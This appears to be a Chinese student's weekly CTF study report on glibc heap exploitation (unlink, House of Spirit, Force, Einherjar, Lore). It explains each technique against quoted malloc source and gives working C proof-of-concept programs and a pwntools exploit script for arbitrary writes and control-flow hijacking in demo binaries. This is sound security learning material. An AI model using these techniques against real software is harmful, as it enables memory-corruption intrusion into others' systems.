暑假第一周周报(house基础篇)

前言

House Of XXX 是 2004 年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对 glibc 堆分配器的利用方法。 但是,由于年代久远《The Malloc Maleficarum》中提出的大多数方法今天都不能奏效,我们现在所指的 House Of XXX 利用相比 2004 年文章中写的已有较大的不同。但是《The Malloc Maleficarum》依然是一篇推荐阅读的文章,你可以在这里读到它的原文: https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt

该周报主要是写一些堆的进阶利用,比如unlink和house of 系列中的house of Force ,house of Spirit,house of orange,和libc2.29下面的tcache attack和large binattack以及其他攻击手法。

unlink

前言:

我们在学习一个东西之前应该要知道它的作用,以及什么时候使用,怎么使用等等。这样的学习才是好的学习方式。unlink在libc源码中有解释,它一般在什么时候被调用呢?能不能试试自己解读源码发现漏洞呢?

首先在学习unlink之前,我有几个问题。如下

源码

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

我并不打算直接对着这个源码去解读,这样直接对着源码解读既会导致知识没有连贯性,也没有系统化,因此我打算在一些调用unlink的地方去配合这个源码来向大家阐述他的实质作用和功能

问题

1.什么是unlink,libc的源码中在执行什么操作的时候会用到?

unlink,顾名思义,这个函数的作用肯定和链表的脱链有关。很容易可以想到,bins中存在着大量的链表结构,那么我们可以猜想一下,当我们malloc一个chunk的时候需要用到unlink函数,但是这里的漏洞利用不常见,最常见的unlink攻击还是发生在free的时候,先来看看这段向后合并的代码

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = p->prev_size;
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }
//取自libc2.23中的malloc.c源码中的_int_free函数的一部分

可以从第一行的注释代码读出来这段代码的功能是实现一个向后(低地址)合并堆块的一个操作,我们一个一个来解读。首先要弄懂这里的符号分别是什么意思。如果我要free的堆块他的prevsize_inuse位为0的话,那么就会触发这个操作

(1)p是什么意思

这里的p呢。就是堆块的头指针的意思,至于它的作用我们等下慢慢细讲

(2)chunk_at_offset又是什么意思

这个是相对偏移,在堆块往前合并的操作中,被我们free掉chunk的指针会通过prevsize来寻找上一个free掉的堆块,然后通过用自己的大小减去prevsize来指向上一个被free的chunk,并为下一步的合并操作做准备

2.这个漏洞的形成原因是什么?能造成什么危害?又需要配合哪些漏洞一起食用?

漏洞的成因主要是结合其他的漏洞来利用的比如offbyone或者offbynull,堆溢出等能改变堆块的使用标志位的操作。然后伪造fake_chunk来让堆块合并,但是上一个堆块并不是正真的free掉了,我们只是把当前堆块的prev_inuse位改为0,来让程序误以为上一个堆块是free掉的,然后我们就可以构造fake_fd和fake_bk,然后通过unlink来实现*(fake_fd+0x18)=fake_fd,从而达到任意地址写的效果。

3.这个漏洞的利用有哪些注意点?如在哪些libc版本下适用,哪些不适用

需要找到合适的位置构造fake_fd和fake_bk指针,而且还需要保证能够绕过一个相关检查。这里不细琐了,建议自己仔细阅读源码。

那么我们构造的fd和bk指针是不是只要是个可写的地址就行了呢?

不是的,伪造的fd和bk指针也需要满足一系列条件,就比如说我们在索引为1的堆块上面伪造了fake_fd和fake_bk,那么我们在执行unlink攻击的时候,伪造的fake_fd和fake_bk需要结合索引为0的堆块的在bss上面的控制结构。也就是说,可以也只能改掉idx0的控制字段使为chunk-0x18。

实现任意地址写是在unlink攻击的第二阶段。第一阶段的攻击十分局限但又很重要

画图演示(重要)

POC

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <string.h>
#define __malloc_hook 0x7ffff7dd1b10

void init() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 1, 0);
	setvbuf(stderr, 0, 1, 0);
}

long long list[0x20] = {0};

int main(){	
	long long target_addr = __malloc_hook;
	long long target_value = 0xdeadbeefdeadbeef;
	char buf[0x20] = {0};
	char buf2[0x8] = {0};
	long long *p,*q;
	init();
	// init two chunks
	p = malloc(0x28);
	q = malloc(0xf8);
	list[0] = p;
	// fake prev_size,size,fd,bk
	// and next chunk's prev_size, next chunk's size
	p[0] = 0;
	p[1] = 0x21; // not necessary
	p[2] = (char *)&list[0] - 0x18;
	p[3] = (char *)&list[0] - 0x10;
	p[4] = 0x20;
	p[5] = 0x100;

	sleep(0);
	// free q to trigger unlink
	free(q);
	sleep(0);
	// list[0] = &list[0] - 0x18
	// set list[0] = target_addr
	strcpy(buf,"aaaaaaaabbbbbbbbcccccccc");
	sprintf(buf2,"%s",(char *)&target_addr);
	strcat(buf,buf2);
	strcpy(list[0],buf);
	sleep(0);
	// write target_addr = target_value
	sprintf(buf2,"%s",(char *)&target_value);
	strcpy(list[0],buf2);
	sleep(0);
	// malloc to trigger 0xdeadbeefdeadbeef
	malloc(0);
}

house of Spirit

前言

house of spirit,那么我们能从这个名字是什么意思呢?很明显不能。这个漏洞的利用和限制条件都比较麻烦,主要是通过控制两个可控的地方去控制他们中间那个不可控的地方,我这么说肯定有人不明白,那么可以仔细阅读一下POC和画图演示,自己多理解

相关源码


  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* see if the dynamic brk/mmap threshold needs adjusting */
      if (!mp_.no_dyn_threshold
          && p->size > mp_.mmap_threshold
          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
    }

问题

1.这个漏洞的成因是什么,需要配合什么使用

成因:free的ptr指针参数可以被控制(也就是任意地址释放),一般在是配合栈溢出使用

2.这个漏洞与glibc的版本有没有联系?有没有什么注意事项?

这与glibc一般没太大关系,这个漏洞是通过辅助栈溢出来实现的。

注意事项就是哪些关于ptmalloc的一些检查的绕过,需要在伪造第一个堆块的同时伪造下一个堆块的头部,否则则会出现报错,下面是源码

	if (have_lock
	    || ({ assert (locked == 0);
		  mutex_lock(&av->mutex);
		  locked = 1;
		  chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
	      }))
	  {
	    errstr = "free(): invalid next size (fast)";
	    goto errout;
	  }

所以不仅要伪造当前chunk的头部,还要伪造下一个chunk的头部。而且它是结合栈的攻击手法,还得熟悉栈的相关布局,和具备基础的调试能力,还需要注意free的时候有没有把fd清空,如果是清空了的话,那么我们伪造的fd也同样会被清空。

3.这个漏洞最后造成的危害是什么

在前言里面也说过了,我们假设存在三块内存区域,分别为a,b,c。a区域可写,c区域也可写,那么,我们可以通过在a和c伪造堆块来写b。而在这里b一般是保存了重要信息的地方。

画图演示

我取名为“夹两头,改中间”

POC

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

void init() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 1, 0);
	setvbuf(stderr, 0, 1, 0);
}

long long data[0x20] = {0};

int main(){	
	int size = 0x70;
	void *p;
	init();
	// init arena
	malloc(0);
	// fake chunk header
	printf("%p\n",data);
	data[0] = 0x0;
	data[1] = size | 1; // prev_inuse_bit
	// fake next chunk header
	data[size / 8] = 0x0;
	data[(size / 8) + 1] = 0x11;
	sleep(0);
	// free user data place, fd.
	free(&data[2]);
	sleep(0);
	// user's size == chunk_size - 0x10
	p = malloc(size - 0x10);
	printf("%p\n",p);
	sleep(0);
}

house of Force

前言

force?暴力?难道是爆破?不对不对,应该是通过整数溢出来使得Top chunk变得巨大,通过malloc一个大的来分割,emmmm,听起来不错,可是这么大动干戈,高版本一定会修改的把。

源码
 

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

问题

1.house of force攻击需要满足哪些条件?
 

(1)能够通过堆溢出或者其他方法控制Top chunk的size区域

(2)能够申请任意大小的堆块(堆块申请不受限制)

(3)分配次数不受限制

2.house of force攻击有哪些注意点?

注意libc版本,一般libc版本大于等于2.29那么几乎不会攻击成功(这里的POC就只能在libc2.27和2.23下证明,想知道为什么可以看看源码),多适用于libc2.23和libc2.27,他们中间的版本还没有测试。而且还要注意对齐机制

3house of force攻击能造成什么效果?是如何攻击的?

可以达到任意地址写的效果。主要在把Top chunk的size域改掉后,然后再malloc比较大的数来切割Top chunk来改变Top chunk的位置,从而在下一次分割Top chunk时从我们想要的位置取值。

画图演示

POC

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define fuck 4040420

void init() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 1, 0);
	setvbuf(stderr, 0, 1, 0);
}

int main(){	
	long long size = 0;
	long long p_addr = 0;
	long long *p,*q;
	init();
	// init a chunk
	p = malloc(0x18);
	p[3] = -1; // set top chunk's size to -1
	sleep(0);
	p_addr = p;
	size = fuck - (p_addr + 0x20) - 0x10;
	// malloc to set top_chunk_addr to target
	malloc(size);
	sleep(0);
	q = malloc(0x18);
	// set fuck's value = 0xdeadbeefdeadbeef
	q[0] = 0xdeadbeefdeadbeef;
	sleep(0);
	// malloc to trigger 0xdeadbeefdeadbeef
	malloc(0);
}



//gcc -no-pie -g -o house_of_force house_of_force.c

House Of Einherjar

前言

在学习这种方法前,最好先了解unlink,这里面免不了会用到unlink的知识点,而且它的利用没有unlink那么严格,所以最终攻击也得绕一下

问题

1House Of Einherjar是怎么造成的?

还是堆溢出造成的,通过堆溢出改掉

2House Of Einherjar如何利用?能达到什么效果

阅读下面的源码可以知道是通过把下一个堆块的prev_inuse改为一,让程序误以为上一个堆块也是free状态的从而造成合并,但是你要把上一个chunk包装一下,来绕过unlink检查,最终还是可以达到任意地址改写,但是可能要绕一下了/

3House Of Einherjar在哪些版本下适用?攻击时需要注意什么?

不过在最新版本下行不通,目前还没有测试其他版本下是否适用,攻击时需要注意合理伪造堆块,填写合理的prev_size.

源码

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

画图演示

POC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char* s0 = malloc(0x200); //构造fake chunk
    char* s1 = malloc(0x18);
    char* s2 = malloc(0xf0); 
    char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
    printf("begin\n");
    printf("%p\n", s0);
    printf("input s0\n");
    read(0, s0, 0x200); //读入fake chunk
    printf("input s1\n");
    read(0, s1, 0x19); //Off By One
    free(s2);
    return 0;
}

对应攻击代码

from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

House of Lore

前言

这种攻击手法并不常见,但是不排除有些题目可能会考到,因此,我们在这里简单介绍一下,同时也为我更进一步的巩固自己的堆基础知识。

源码

/*
       If a small request, check regular bin.  Since these "smallbins"
       hold one size each, no searching within bins is necessary.
       (For a large request, we need to wait until unsorted chunks are
       processed to find best fit. But for small ones, fits are exact
       anyway, so we can check now, which is faster.)
     */

    if (in_smallbin_range(nb)) {
        // 获取 small bin 的索引
        idx = smallbin_index(nb);
        // 获取对应 small bin 中的 chunk 指针
        bin = bin_at(av, idx);
        // 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
        // 如果 victim = bin ,那说明该 bin 为空。
        // 如果不相等,那么会有两种情况
        if ((victim = last(bin)) != bin) {
            // 第一种情况,small bin 还没有初始化。
            if (victim == 0) /* initialization check */
                // 执行初始化,将 fast bins 中的 chunk 进行合并
                malloc_consolidate(av);
            // 第二种情况,small bin 中存在空闲的 chunk
            else {
                // 获取 small bin 中倒数第二个 chunk 。
                bck = victim->bk;
                // 检查 bck->fd 是不是 victim,防止伪造
                if (__glibc_unlikely(bck->fd != victim)) {
                    errstr = "malloc(): smallbin double linked list corrupted";
                    goto errout;
                }
                // 设置 victim 对应的 inuse 位
                set_inuse_bit_at_offset(victim, nb);
                // 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
                bin->bk = bck;
                bck->fd = bin;
                // 如果不是 main_arena,设置对应的标志
                if (av != &main_arena) set_non_main_arena(victim);
                // 细致的检查
                check_malloced_chunk(av, victim, nb);
                // 将申请到的 chunk 转化为对应的 mem 状态
                void *p = chunk2mem(victim);
                // 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
                alloc_perturb(p, bytes);
                return p;
            }
        }
    }

问题

1.House of Lore攻击需要什么条件?

想要造成这个攻击,我们需要能够修改Small Bin Chunk 的 bk 指针,然后伪造一个fake chunk使bk指向它,然后再下一次分配small chunk时获得我们伪造的chunk。对了这里还需要对fastbin和smallbin的分配合并机制熟悉,参考这篇文章[原创]关于fastbin合并问题的研究-Pwn-看雪-安全社区|安全招聘|kanxue.com

2House of Lore攻击能达到什么效果?需要绕过哪些条件

这种攻击最终实现的目的就是任意地址改,当然需要绕过一点点的检查。

3House of Lore在哪些版本下适用?

house of Lore 存在于glibc<2.31的版本,大于就不适用了。

画图演示

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "定义了两个数组");
  fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

  intptr_t *victim = malloc(100);
  fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
  intptr_t *victim_chunk = victim-2;//chunk 开始的位置

  fprintf(stderr, "在栈上伪造一块 fake chunk\n");
  fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
  fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);

  fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
  free((void*)victim);

  fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
  void *p2 = malloc(1200);

  fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
  victim[1] = (intptr_t)stack_buffer_1;

  fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
  fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
  void *p3 = malloc(100);

  fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

  fprintf(stderr, "\np4 在栈上 %p\n", p4);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p4+40), &sc, 8);
}

其实还有其他系列的house of XX,但是,他们一般用于大于libc2.29及以上的libc的攻击,而且大多数需要结合_IO_FILE一起攻击,所以在此先不罗列出来,等我下一次周报写出来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值